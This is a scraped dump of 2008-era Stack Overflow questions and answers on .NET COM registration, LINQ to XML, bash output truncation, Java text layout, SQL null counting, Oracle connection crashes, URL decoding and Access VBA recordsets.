239,465
<p>I have a setup project for a .NET Service Application which uses a .NET component which exposes a COM interface (COM callable wrapper / CCW). To get the component working on a target machine, it has to be registered with</p> <blockquote> <p>regasm.exe /tlb /codebase component.dll</p> </blockquote> <p>The /tlb switch to generate the typelib is mandatory in this case, otherwise I can't create objects from that assembly.</p> <p>The question is, how can I configure my Visual Studio 2008 Setup-Project to register this assembly with a call to regasm /tlb ?</p>
[ { "answer_id": 1883517, "author": "Sean Gough", "author_id": 12842, "author_profile": "https://Stackoverflow.com/users/12842", "pm_score": 5, "selected": true, "text": "[System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Demand)]\npublic override void Install(IDictionary stateSaver)\n{\nbase.Install(stateSaver);\n\nRegistrationServices regsrv = new RegistrationServices();\nif (!regsrv.RegisterAssembly(GetType().Assembly, AssemblyRegistrationFlags.SetCodeBase))\n{\n throw new InstallException(\"Failed to register for COM Interop.\");\n}\n\n}\n\n[System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Demand)]\npublic override void Uninstall(IDictionary savedState)\n{\nbase.Uninstall(savedState);\n\nRegistrationServices regsrv = new RegistrationServices();\nif (!regsrv.UnregisterAssembly(GetType().Assembly))\n{\n throw new InstallException(\"Failed to unregister for COM Interop.\");\n}\n}\n" }, { "answer_id": 7189966, "author": "user911989", "author_id": 911989, "author_profile": "https://Stackoverflow.com/users/911989", "pm_score": 1, "selected": false, "text": "Runtime.InteropServices.RegistrationServices.RegisterAssembly" }, { "answer_id": 56818730, "author": "klasyc", "author_id": 907675, "author_profile": "https://Stackoverflow.com/users/907675", "pm_score": 0, "selected": false, "text": "/tlb regasm.exe does Tlbexp.exe .tlb .tlb vsdrfCOM" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239465", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25727/" ]
239,486
<p>I want to convert an XML document containing many elements within a node (around 150) into another XML document with a slightly different schema but mostly with the same element names. Now do I have to manually map each element/node between the 2 documents. For that I will have to hardcode 150 lines of mapping and element names. Something like this: </p> <pre><code>XElement newOrder = new XElement("Order"); newOrder.Add(new XElement("OrderId", (string)oldOrder.Element("OrderId")), newOrder.Add(new XElement("OrderName", (string)oldOrder.Element("OrderName")), ............... ............... ...............and so on </code></pre> <p>The newOrder document may contain additional nodes which will be set to null if nothing is found for them in the oldOrder. So do I have any other choice than to hardcode 150 element names like orderId, orderName and so on... Or is there some better more maintainable way?</p>
[ { "answer_id": 239997, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 1, "selected": false, "text": "List<string> elementNames = GetElementNames();\n\nnewOrder.Add(\n elementNames\n .Select(name => GetElement(name, oldOrder))\n .Where(element => element != null)\n .ToArray()\n );\n public XElement GetElement(string name, XElement source)\n{\n XElement result = null;\n XElement original = source.Elements(name).FirstOrDefault();\n if (original != null)\n {\n result = new XElement(name, (string)original)\n }\n return result;\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239486", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1688440/" ]
239,512
<p>Is http/1.0 able to handle deflated and gzip content? I've finished to implement deflate and gzip in my minimalist web server and I don't really know if browsers with http/1.0 are capable to handle deflate and gzip compressed content.</p>
[ { "answer_id": 240104, "author": "Mike Dimmick", "author_id": 6970, "author_profile": "https://Stackoverflow.com/users/6970", "pm_score": 2, "selected": false, "text": "deflate deflate DeflateStream" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239512", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25888/" ]
239,522
<p>Is it possible to set the position of the tabs to be at the bottom of the tabcontainer using the AjaxToolkit? You do have some control over the CSS but I'm not au-fait enough with CSS to see whether it's feasible?</p> <p>Thanks</p>
[ { "answer_id": 240104, "author": "Mike Dimmick", "author_id": 6970, "author_profile": "https://Stackoverflow.com/users/6970", "pm_score": 2, "selected": false, "text": "deflate deflate DeflateStream" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239522", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21299/" ]
239,526
<p>How do I truncate output in BASH? </p> <p>For example, if I "du file.name" how do I just get the numeric value and nothing more?</p> <p>later addition:<br> all solutions work perfectly. I chose to accept the most enlightning "cut" answer because I prefer the simplest approach in bash files others are supposed to be able to read.</p>
[ { "answer_id": 239530, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 3, "selected": false, "text": "du | cut -f 1\n" }, { "answer_id": 239532, "author": "Ken", "author_id": 20074, "author_profile": "https://Stackoverflow.com/users/20074", "pm_score": 5, "selected": true, "text": "du | cut -f1\n ls | cut -c1-2\n" }, { "answer_id": 239535, "author": "Mark Baker", "author_id": 11815, "author_profile": "https://Stackoverflow.com/users/11815", "pm_score": 3, "selected": false, "text": "du file.name | awk '{print $1}'\n" }, { "answer_id": 239803, "author": "Andy Lester", "author_id": 8454, "author_profile": "https://Stackoverflow.com/users/8454", "pm_score": 1, "selected": false, "text": "-s SIZE=-s file.name\n du du bash" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239526", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11813/" ]
239,537
<p>My Program overrides <code>public void paint(Graphics g, int x, int y);</code> in order to draw some stings using <code>g.drawString(someString, x+10, y+30);</code></p> <p>Now someString can be quite long and thus, it may not fit on one line.<br></p> <p>What is the best way to write the text on multiple line.<br> For instance, in a rectangle (x1, y1, x2, y2)?</p>
[ { "answer_id": 239539, "author": "Epaga", "author_id": 6583, "author_profile": "https://Stackoverflow.com/users/6583", "pm_score": 2, "selected": false, "text": " Graphics2D g = ...;\n Point2D loc = ...;\n Font font = Font.getFont(\"Helvetica-bold-italic\");\n FontRenderContext frc = g.getFontRenderContext();\n TextLayout layout = new TextLayout(\"This is a string\", font, frc);\n layout.draw(g, (float)loc.getX(), (float)loc.getY());\n\n Rectangle2D bounds = layout.getBounds();\n bounds.setRect(bounds.getX()+loc.getX(),\n bounds.getY()+loc.getY(),\n bounds.getWidth(),\n bounds.getHeight());\n g.draw(bounds);\n" }, { "answer_id": 239750, "author": "PhiLho", "author_id": 15459, "author_profile": "https://Stackoverflow.com/users/15459", "pm_score": 4, "selected": true, "text": "class TextContainer extends JPanel\n{\n private int m_width;\n private int m_height;\n private String m_text;\n private AttributedCharacterIterator m_iterator;\n private int m_start;\n private int m_end;\n\n public TextContainer(String text, int width, int height)\n {\n m_text = text;\n m_width = width;\n m_height = height;\n\n AttributedString styledText = new AttributedString(text);\n m_iterator = styledText.getIterator();\n m_start = m_iterator.getBeginIndex();\n m_end = m_iterator.getEndIndex();\n }\n\n public String getText()\n {\n return m_text;\n }\n\n public Dimension getPreferredSize()\n {\n return new Dimension(m_width, m_height);\n }\n\n public void paint(Graphics g)\n {\n super.paintComponent(g);\n\n Graphics2D g2 = (Graphics2D) g;\n FontRenderContext frc = g2.getFontRenderContext();\n\n LineBreakMeasurer measurer = new LineBreakMeasurer(m_iterator, frc);\n measurer.setPosition(m_start);\n\n float x = 0, y = 0;\n while (measurer.getPosition() < m_end)\n {\n TextLayout layout = measurer.nextLayout(m_width);\n\n y += layout.getAscent();\n float dx = layout.isLeftToRight() ?\n 0 : m_width - layout.getAdvance();\n\n layout.draw(g2, x + dx, y);\n y += layout.getDescent() + layout.getLeading();\n }\n }\n}\n public void paint(Graphics g)\n{\n super.paintComponent(g);\n\n Graphics2D g2 = (Graphics2D) g;\n FontRenderContext frc = g2.getFontRenderContext();\n\n LineBreakMeasurer measurer = new LineBreakMeasurer(m_iterator, frc);\n measurer.setPosition(m_start);\n\n float y = 0;\n while (measurer.getPosition() < m_end)\n {\n double ix = Math.sqrt((m_width / 2 - y) * y);\n float x = m_width / 2.0F - (float) ix;\n int width = (int) ix * 2;\n\n TextLayout layout = measurer.nextLayout(width);\n\n y += layout.getAscent();\n float dx = layout.isLeftToRight() ?\n 0 : width - layout.getAdvance();\n\n layout.draw(g2, x + dx, y);\n y += layout.getDescent() + layout.getLeading();\n }\n}\n" }, { "answer_id": 239770, "author": "michelemarcon", "author_id": 15173, "author_profile": "https://Stackoverflow.com/users/15173", "pm_score": 0, "selected": false, "text": "JLabel.setText(\"<html>\"+line1+\"<br>\"+line2);\n" }, { "answer_id": 10825957, "author": "msj121", "author_id": 318938, "author_profile": "https://Stackoverflow.com/users/318938", "pm_score": 1, "selected": false, "text": "Graphics2D g=....\nFontRenderContext frc = g.getFontRenderContext();\nTextLayout layout = new TextLayout(text, font, frc);\nString[] outputs = text.split(\"\\n\");\nfor(int i=0; i<outputs.length; i++){\n g.drawString(outputs[i], 15,(int) (15+i*layout.getBounds().getHeight()+0.5));\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239537", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12860/" ]
239,543
<p>I want to set up a Subversion server installation on Windows Server 2003 64-bit and I'm considering using <a href="http://www.visualsvn.com/server/" rel="noreferrer">VisualSVN Server</a>. Does this work OK in a 64-bit environment? Are there any issues or gotchas I should be aware of before installing the software?</p> <p>Many thanks!</p>
[ { "answer_id": 4073743, "author": "Randall Flagg", "author_id": 463464, "author_profile": "https://Stackoverflow.com/users/463464", "pm_score": 1, "selected": false, "text": "sc create svnserver binpath= \"C:\\Program Files\\TortoiseSVN\\bin\\svnserve.exe --service -r D:\\SvnRepositories\" displayname= \"Subversion\" depend= Tcpip start= auto\npause\n sc delete svnserver\npause\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239543", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3853/" ]
239,545
<p>I have a table that has a <code>processed_timestamp</code> column -- if a record has been processed then that field contains the datetime it was processed, otherwise it is null.</p> <p>I want to write a query that returns two rows:</p> <pre><code>NULL xx -- count of records with null timestamps NOT NULL yy -- count of records with non-null timestamps </code></pre> <p>Is that possible?</p> <p><strong>Update:</strong> The table is quite large, so efficiency is important. I could just run two queries to calculate each total separately, but I want to avoid hitting the table twice if I can avoid it.</p>
[ { "answer_id": 239548, "author": "Stefan Gehrig", "author_id": 11354, "author_profile": "https://Stackoverflow.com/users/11354", "pm_score": 6, "selected": false, "text": "SELECT \n IF(ISNULL(processed_timestamp), 'NULL', 'NOT NULL') as myfield, \n COUNT(*) \nFROM mytable \nGROUP BY myfield\n" }, { "answer_id": 239551, "author": "ADEpt", "author_id": 10105, "author_profile": "https://Stackoverflow.com/users/10105", "pm_score": 3, "selected": false, "text": "select decode(field,NULL,'NULL','NOT NULL'), count(*)\nfrom table\ngroup by decode(field,NULL,'NULL','NOT NULL');\n" }, { "answer_id": 239553, "author": "paxdiablo", "author_id": 14860, "author_profile": "https://Stackoverflow.com/users/14860", "pm_score": 5, "selected": false, "text": "select\n 'null ' as type,\n count(*) as quant\n from tbl\n where tmstmp is null\nunion all\nselect\n 'not null' as type,\n count(*) as quant\n from tbl\n where tmstmp is not null\n" }, { "answer_id": 239557, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 6, "selected": false, "text": "SELECT\n CASE WHEN Field IS NULL THEN 'NULL' ELSE 'NOT NULL' END FieldContent,\n COUNT(*) FieldCount\nFROM\n TheTable\nGROUP BY\n CASE WHEN Field IS NULL THEN 'NULL' ELSE 'NOT NULL' END\n" }, { "answer_id": 239564, "author": "Tom", "author_id": 3715, "author_profile": "https://Stackoverflow.com/users/3715", "pm_score": 2, "selected": false, "text": "CASE IF() SELECT CASE WHEN processed_timestamp IS NULL THEN 'NULL' \n ELSE 'NOT NULL' END AS a,\n COUNT(*) AS n \n FROM logs \n GROUP BY a\n" }, { "answer_id": 239568, "author": "James Green", "author_id": 31736, "author_profile": "https://Stackoverflow.com/users/31736", "pm_score": 0, "selected": false, "text": "with NullRows (countOf)\nAS\n(\n SELECT count(*) \n FORM table \n WHERE [processed_timestamp] IS NOT NULL\n)\nSELECT count(*) AS nulls, countOf\nFROM table, NullRows\nWHERE [processed_timestamp] IS NULL\nGROUP BY countOf\n" }, { "answer_id": 239733, "author": "Unsliced", "author_id": 2902, "author_profile": "https://Stackoverflow.com/users/2902", "pm_score": 0, "selected": false, "text": "select [case], count(*) tally\nfrom (\n select \n case when [processed_timestamp] is null then 'null'\n else 'not null'\n end [case]\n from myTable\n) a \n" }, { "answer_id": 239849, "author": "James Green", "author_id": 31736, "author_profile": "https://Stackoverflow.com/users/31736", "pm_score": 3, "selected": false, "text": "SELECT count([processed_timestamp]) AS notnullrows, \n count(*) - count([processed_timestamp]) AS nullrows \nFROM table\n" }, { "answer_id": 239957, "author": "Aleksey Otrubennikov", "author_id": 16209, "author_profile": "https://Stackoverflow.com/users/16209", "pm_score": 0, "selected": false, "text": "Select Sum(Case When processed_timestamp IS NULL\n Then 1\n Else 0\n End) not_processed_count,\n Sum(Case When processed_timestamp Is Not NULL\n Then 1\n Else 0\n End) processed_count,\n Count(1) total\nFrom table\n" }, { "answer_id": 242090, "author": "EvilTeach", "author_id": 7734, "author_profile": "https://Stackoverflow.com/users/7734", "pm_score": 1, "selected": false, "text": "SELECT COUNT(*), COUNT(TIME_STAMP_COLUMN)\nFROM TABLE;\n SELECT COUNT(*) - COUNT(TIME_STAMP_COLUMN) NUL_COUNT,\n COUNT(TIME_STAMP_COLUMN) NON_NUL_COUNT\nFROM TABLE\n" }, { "answer_id": 35577336, "author": "Jatin Sanghvi", "author_id": 470119, "author_profile": "https://Stackoverflow.com/users/470119", "pm_score": 2, "selected": false, "text": "SELECT IIF(ISDATE(processed_timestamp) = 0, 'NULL', 'NON NULL'), COUNT(*)\nFROM MyTable\nGROUP BY ISDATE(processed_timestamp);\n" }, { "answer_id": 35764161, "author": "Refael", "author_id": 1916002, "author_profile": "https://Stackoverflow.com/users/1916002", "pm_score": 2, "selected": false, "text": "select count(case when t.timestamps is null \n then 1 \n else null end) NULLROWS,\n count(case when t.timestamps is not null \n then 1 \n else null end) NOTNULLROWS\nfrom myTable t \n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239545", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6408/" ]
239,546
<pre><code>$sql = "INSERT INTO images (path, useremail, approved, flagged,caption,date) VALUES ('$target','$email',0,0, '$caption','$b')"; $sql1 = "INSERT INTO users (name, email, phone) VALUES ('$peoplename','$email','$phone')" $conn-&gt;execute($sql, $sql1); </code></pre> <p>Above is the code Ι am using to try and write to 2 tables. Before Ι introduced connection through the COM object Ι could do this not a problem but now Ι cannot do it for some reason. Any help would be appreciated.</p>
[ { "answer_id": 239563, "author": "Tom Haigh", "author_id": 22224, "author_profile": "https://Stackoverflow.com/users/22224", "pm_score": 3, "selected": false, "text": "$sql = \"INSERT INTO images (path, useremail, approved, flagged,caption,date) VALUES ('$target','$email',0,0, '$caption','$b');\";\n$sql1 = \"INSERT INTO users (name, email, phone) VALUES ('$peoplename','$email','$phone');\";\n$conn->execute($sql . $sql1); \n $conn->execute($sql); \n $conn->execute($sql1); \n" }, { "answer_id": 239565, "author": "Oli", "author_id": 12870, "author_profile": "https://Stackoverflow.com/users/12870", "pm_score": 0, "selected": false, "text": "$sql = \"INSERT INTO images (path, useremail, approved, flagged,caption,date) VALUES ('$target','$email',0,0, '$caption','$b'); INSERT INTO users (name, email, phone) VALUES ('$peoplename','$email','$phone')\";\n$conn->execute($sql);\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239546", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,556
<p>We are replacing the exception handling system in our app in order to conform to Vista certification, but the problem is how to force certain exceptions to be thrown, so that we can check the response.</p> <p>Unfortunately the whole app was written without taking into consideration proper layering, abstraction or isolation principles, and within the timeframe introducing mocking and unit testing is out of the question :(</p> <p>My idea is to introduce code which will throw a particular exception, either through a compiler directive or by respecting a value in the config file. We can then just run the app as normal and manually check how the exception is handled.</p> <p>Just thought I'd put it out there and see if the SO community can think of anything better!</p> <p>Cheers</p>
[ { "answer_id": 239559, "author": "Ben Collins", "author_id": 3279, "author_profile": "https://Stackoverflow.com/users/3279", "pm_score": 1, "selected": false, "text": "throw new Exception(\"test\");\n C:\\Users\\Dude> myapp.exe /x\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239556", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7140/" ]
239,560
<p>Actually <a href="https://stackoverflow.com/questions/564/what-is-the-difference-between-an-int-and-an-integer-in-javac">here</a> is a similar topic with little practical value. As far as I understand, primitives perform better and should be used everywhere except for the cases where Object-related features (e.g. <code>null</code> check) are needed. Right?</p>
[ { "answer_id": 239706, "author": "jb.", "author_id": 7918, "author_profile": "https://Stackoverflow.com/users/7918", "pm_score": 1, "selected": false, "text": " class Foo{\n int xxx = -1;\n ...\n }\n void persist(Foo foo){\n ...\n statement.setInt(15,foo.getXXX()==-1?null:foo.getXXX());\n ...\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239560", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15187/" ]
239,567
<p>Is there any function that converts an escaped Url string to its unescaped form? <code>System.Web.HttpUtility.UrlDecode()</code> can do that job but I don't want to add a reference to <code>System.Web.dll</code>. Since my app is not a web application, I don't want to add a dependency for only using a function in an assembly.</p> <p><strong>UPDATE:</strong> Check <a href="http://www.west-wind.com/weblog/posts/617930.aspx" rel="noreferrer">Rick Strahl's blog post</a> about the same issue.</p>
[ { "answer_id": 239695, "author": "Igal Tabachnik", "author_id": 8205, "author_profile": "https://Stackoverflow.com/users/8205", "pm_score": 7, "selected": true, "text": "Uri.UnescapeDataString() http%3a%2f%2fwww.google.com%2fsearch%3fhl%3den%26q%3dsomething%20%2323%26btnG%3dGoogle%2bSearch%26aq%3df%26oq%3d http://www.google.com/search?hl=en&q=something #23&btnG=Google+Search&aq=f&oq=" }, { "answer_id": 8249125, "author": "DaveCS", "author_id": 200731, "author_profile": "https://Stackoverflow.com/users/200731", "pm_score": 2, "selected": false, "text": "WebUtility.HtmlDecode Uri.UnescapeDataString Dim strEncoded as string=\"http%3a%2f%2fwww.google.com%2fsearch%3fhl%3den%26q%3dsomething%20%2323%26btnG%3dGoogle%2bSearch%26aq%3df%26oq%3d\"\n\nDim strDecoded as string = \"\"\nstrDecoded = strEncoded\nstrDecoded = WebUtility.HtmlDecode(strDecoded)\nstrDecoded = Uri.UnescapeDataString(strDecoded)\n" }, { "answer_id": 10518710, "author": "Zibri", "author_id": 236062, "author_profile": "https://Stackoverflow.com/users/236062", "pm_score": -1, "selected": false, "text": "System.Net.WebUtility.HtmlDecode" }, { "answer_id": 55544814, "author": "Chizl", "author_id": 1853517, "author_profile": "https://Stackoverflow.com/users/1853517", "pm_score": 0, "selected": false, "text": "private static char IntToHex(int n)\n{\n if (n <= 9)\n return (char) (n + 48);\n else\n return (char) (n - 10 + 65);\n}\n public static char IntToHex(int n)\n{\n if (n <= 9)\n return (char) (n + 48);\n else\n return (char) (n - 10 + 97);\n}\n var test1 = WebUtility.UrlEncode(\"http://www.test.com/?param1=22&param2=there@is<a space\");\nvar test2 = HttpUtility.UrlEncode(\"http://www.test.com/?param1=22&param2=there@is<a space\");\n test1 -> http%3A%2F%2Fwww.test.com%2F%3Fparam1%3D22%26param2%3Dthere%40is%3Ca+space\ntest2 -> http%3a%2f%2fwww.test.com%2f%3fparam1%3d22%26param2%3dthere%40is%3ca+space\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239567", "https://Stackoverflow.com", "https://Stackoverflow.com/users/39/" ]
239,588
<p>I have a C++ STL set with a custom ordering defined.</p> <p>The idea was that when items get added to the set, they're naturally ordered as I want them.</p> <p>However, what I've just realised is that the ordering predicate can change as time goes by.</p> <p>Presumably, the items in the set will then no longer be in order.</p> <p>So two questions really:</p> <ol> <li><p>Is it harmful that the items would then be out of order? Am I right in saying that the worst that can happen is that new entries may get put into the wrong place (which actually I can live with). Or, could this cause crashes, lost entries etc?</p></li> <li><p>Is there a way to "refresh" the ordering of the set? You can't seem to use std::sort() on a set. The best I can come up with is dumping out the contents to a temp container and re-add them.</p></li> </ol> <p>Any ideas?</p> <p>Thanks, </p> <p>John</p>
[ { "answer_id": 239621, "author": "Motti", "author_id": 3848, "author_profile": "https://Stackoverflow.com/users/3848", "pm_score": 1, "selected": false, "text": "set" }, { "answer_id": 239627, "author": "xtofl", "author_id": 6610, "author_profile": "https://Stackoverflow.com/users/6610", "pm_score": 4, "selected": true, "text": "set" }, { "answer_id": 239708, "author": "KeithB", "author_id": 2298, "author_profile": "https://Stackoverflow.com/users/2298", "pm_score": 2, "selected": false, "text": " orig.swap(tmp);\n" }, { "answer_id": 239718, "author": "Richard Corden", "author_id": 11698, "author_profile": "https://Stackoverflow.com/users/11698", "pm_score": 2, "selected": false, "text": "if (ts.insert (value).second) {\n // insertion took place\n realContainer.push_back (value);\n}\n" }, { "answer_id": 239932, "author": "Andreas Magnusson", "author_id": 5811, "author_profile": "https://Stackoverflow.com/users/5811", "pm_score": 0, "selected": false, "text": "struct comparer : public std::binary_function<int, int, bool>\n{\n static enum CompareType {CT_LESS, CT_GREATER} CompareMode;\n bool operator()(int lhs, int rhs) const\n {\n if(CompareMode == CT_LESS)\n {\n return lhs < rhs;\n }\n else\n {\n return lhs > rhs;\n }\n }\n};\n\ncomparer::CompareType comparer::CompareMode = comparer::CT_LESS;\n\ntypedef std::set<int, comparer> is_compare_t;\n\nvoid check(const is_compare_t &is, int v)\n{\n is_compare_t::const_iterator it = is.find(v);\n if(it != is.end())\n {\n std::cout << \"HAS \" << v << std::endl;\n }\n else\n {\n std::cout << \"ERROR NO \" << v << std::endl;\n }\n}\n\nint main()\n{\n is_compare_t is;\n is.insert(20);\n is.insert(5);\n check(is, 5);\n comparer::CompareMode = comparer::CT_GREATER;\n check(is, 5);\n is.insert(27);\n check(is, 27);\n comparer::CompareMode = comparer::CT_LESS;\n check(is, 5);\n check(is, 27);\n return 0;\n}\n" }, { "answer_id": 240444, "author": "oz10", "author_id": 14069, "author_profile": "https://Stackoverflow.com/users/14069", "pm_score": 2, "selected": false, "text": "std::set<int> newset( oldset.begin(), oldset.end(), NewPred() );\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239588", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31760/" ]
239,601
<p>How would you model booked hotel room to guests relationship (in PostgreSQL, if it matters)? A room can have several guests, but at least one.</p> <p>Sure, one can relate guests to bookings with a foreign key <code>booking_id</code>. But how do you enforce on the DBMS level that a room must have at least one guest?</p> <p>May be it's just impossible?</p>
[ { "answer_id": 239618, "author": "Ed Guiness", "author_id": 4200, "author_profile": "https://Stackoverflow.com/users/4200", "pm_score": 2, "selected": false, "text": "BOOKING\n-------\nbooking id\nroom id\nguest id (FK to table of guests for booking)\nfirst date of occupancy\nlast date of occupancy\n GUESTS\n------\nguest id\ncustomer id (FK to customer table)\n" }, { "answer_id": 239635, "author": "paxdiablo", "author_id": 14860, "author_profile": "https://Stackoverflow.com/users/14860", "pm_score": 4, "selected": true, "text": "Rooms:\n room_id primary key not null\n blah\n blah\n\nGuests:\n guest_id primary key not null\n yada\n yada\n\nBookedRooms:\n room_id primary key foreign key (Rooms:room_id)\n primary_guest_id foreign key (Guests:guest_id)\n\nOtherGuestsInRooms:\n room_id foreign key (BookedRooms:room_id)\n guest_id foreign key (Guests:guest_id)\n" }, { "answer_id": 239636, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 1, "selected": false, "text": "create assertion x as check\n (not exists (select * from booking b\n where not exists\n (select * from booking_guest bg\n where bg.booking_id = b.booking_id)));\n select booking_id from booking b\nwhere not exists \n (select * from booking_guest bg \n where bg.booking_id = b.booking_id);\n check (boooking_id is null)\n" }, { "answer_id": 3716252, "author": "edgerunner", "author_id": 311941, "author_profile": "https://Stackoverflow.com/users/311941", "pm_score": 0, "selected": false, "text": "bookings beds bookings:\n bed_id: foreign_key primary\n guest_id: foreign_key primary\n day: date primary\n bill_id: foreign_key not null\n\nbeds:\n room_id: foreign_key primary\n primary day bill_id" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239601", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6430/" ]
239,622
<p>We have an x-files problem with our .NET application. Or, rather, hybrid Win32 and .NET application.</p> <p>When it attempts to communicate with Oracle, it just dies. Vanishes. Goes to the big black void in the sky. No event log message, no exception, no nothing.</p> <p>If we simply ask the application to talk to a MS SQL Server instead, which has the effect of replacing the usage of OracleConnection and related classes with SqlConnection and related classes, it works as expected.</p> <p>Today we had a breakthrough.</p> <p>For some reason, a customer had figured out that by placing all the application files in a directory on his desktop, it worked as expected with Oracle as well. Moving the directory down to the root of the drive, or in C:\Temp or, well, around a bit, made the crash reappear.</p> <p>Basically it was 100% reproducable that the application worked if run from directory on desktop, and failed if run from directory in root.</p> <p>Today we figured out that the difference that counted was wether there was a space in the directory name or not.</p> <p>So, these directories would work:</p> <pre><code>C:\Program Files\AppDir\Executable.exe C:\Temp Lemp\AppDir\Executable.exe C:\Documents and Settings\someuser\Desktop\AppDir\Executable.exe </code></pre> <p>whereas these would not:</p> <pre><code>C:\CompanyName\AppDir\Executable.exe C:\Programfiler\AppDir\Executable.exe &lt;-- Program Files in norwegian C:\Temp\AppDir\Executable.exe </code></pre> <p>I'm hoping someone reading this has seen similar behavior and have a "aha, you need to twiddle the frob on the oracle glitz driver configuration" or similar.</p> <p>Anyone?</p> <hr> <p><strong>Followup #1:</strong> Ok, I've processed the procmon output now, both files from when I hit the button that attempts to open the window that triggers the cascade failure, and I've noticed that they keep track mostly, there's some smallish differences near the top of both files, and they they keep track a long way down.</p> <p>However, when one run fails, the other keeps going and the next few lines of the log output are these:</p> <pre><code>ReadFile C:\oracle\product\10.2.0\db_1\BIN\orageneric10.dll SUCCESS Offset: 274 432, Length: 32 768, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O ReadFile C:\oracle\product\10.2.0\db_1\BIN\orageneric10.dll SUCCESS Offset: 233 472, Length: 32 768, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O </code></pre> <p>After this, the working run continues to execute, and the other touches the mscorwks.dll files a few times before threads close down and the app closes. Thus, the failed run does not touch the above files.</p> <hr> <p><strong>Followup #2:</strong> Figured I'd try to upgrade the oracle client drivers, but 10.2.0.1 is apparently the highest version available for Windows 2003 server and XP clients.</p> <hr> <p><strong>Followup #3:</strong> Well, we've ended up with a black-box solution. Basically we found that the problem is somewhere related to <a href="http://www.devexpress.com/Products/NET/ORM/" rel="nofollow noreferrer">XPO</a> and Oracle. XPO has a system-table it manages, called XPObjectType, with three columns: Oid, TypeName and AssemblyName. Due to how Oracle is configured in the databases we talk to, the column names were OID, TYPENAME and ASSEMBLYNAME. This would ordinarily not be a problem, except that XPO talks to the schema information directly and checks if the table is there with the right column names, and XPO doesn't handle case differences so it sees a XPObjectType table with three unknown columns and none of those it expects.</p> <p>Exactly what XPO does now I don't really know, but if I dropped this table, and recreated it with the right case, using double quotes around all the column names to get the case right, the problem doesn't crop up.</p> <p>Exactly where the space in the folder name comes into this, I still have no idea, but this problem had two tiers:</p> <ol> <li>Stop the application from crashing at our customers, short-term solution</li> <li>Fix the bug, long-term solution</li> </ol> <p>Right now tier 1 is solved, tier 2 will be put back into the queue for now and prioritized. We're facing some bigger changes to our data tier anyway so this might not be a problem we need to solve, at least if all our Oracle-customers verify that the table-fix actually gets rid of the problem.</p> <p>I'll accept the answer by <a href="https://stackoverflow.com/users/24995/dave-markle">Dave Markle</a> since though Process Monitor (the big brother of File Monitor) didn't actually pinpoint the problem, I was able to use it to determine that after my breakpoint in user-code where XPO had built up the query for this table, no I/O happened until all the entries for the application closing down was logged, which led me to believe it was this table that was the culprit, or at least influenced the problem somehow.</p> <p>If I manage to get to the real cause of this, I'll update the post.</p>
[ { "answer_id": 239659, "author": "Dave Markle", "author_id": 24995, "author_profile": "https://Stackoverflow.com/users/24995", "pm_score": 3, "selected": true, "text": "FILE_NOT_FOUND" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239622", "https://Stackoverflow.com", "https://Stackoverflow.com/users/267/" ]
239,628
<p>HI,</p> <p>I am trying to write a query in vba and to save its result in a report. I am a beginner. this is what i have tried can somebody correct me</p> <pre><code>Dim cn As New ADODB.Connection, rs As New ADODB.Recordset Dim sql As String Set cn = CurrentProject.Connection sql = "Select * from table1 where empno is 0" rs.Open sql, cn While Not rs.EOF ' here i think i should save the result in a report but i am not sure how rs.MoveNext Wend rs.Close cn.Close Set rs = Nothing Set cn = Nothing </code></pre> <p>Also how do i change this query to run this on all tables in a database</p>
[ { "answer_id": 240103, "author": "BIBD", "author_id": 685, "author_profile": "https://Stackoverflow.com/users/685", "pm_score": 1, "selected": false, "text": "'...\ndim strFoo as string\ndim strBar as string\n'...\nif not rs.bof then\n rd.MoveFirst\nend if\nWhile Not rs.EOF\n strFoo = rs(\"foo\") 'copy the value in the field \n 'named \"foo\" into strFoo.\n strBar = rs(\"bar\")\n '... etc. for all fields you want\n '\n 'write out the values to a text file \n '(I'll leave this an exercise for the reader)\n '\n rs.MoveNext\nWend\n'...\n dim strTableName as string\ndim db As Database\n'...\nSet db = CurrentDb\ndb.TableDefs.Refresh\nFor Each myTable In db.TableDefs\n If Len(myTable.Connect) > 0 Then\n strTableName = myTable.Name\n '...\n 'Do something with the table\n '...\n End If\nNext\nset db = nothing\n Private Sub Report_Open(Cancel As Integer)\n Me.RecordSource = gMyRecordSet.Name\nEnd Sub\n Public gMyRecordSet As Recordset\n'...\nPublic Sub callMyReport()\n '...\n Set gMyRecordSet = CurrentDb.OpenRecordset(\"Select * \" & _\n \"from foo \" & _\n \"where bar='yaddah'\")\n DoCmd.OpenReport \"myReport\", acViewPreview \n 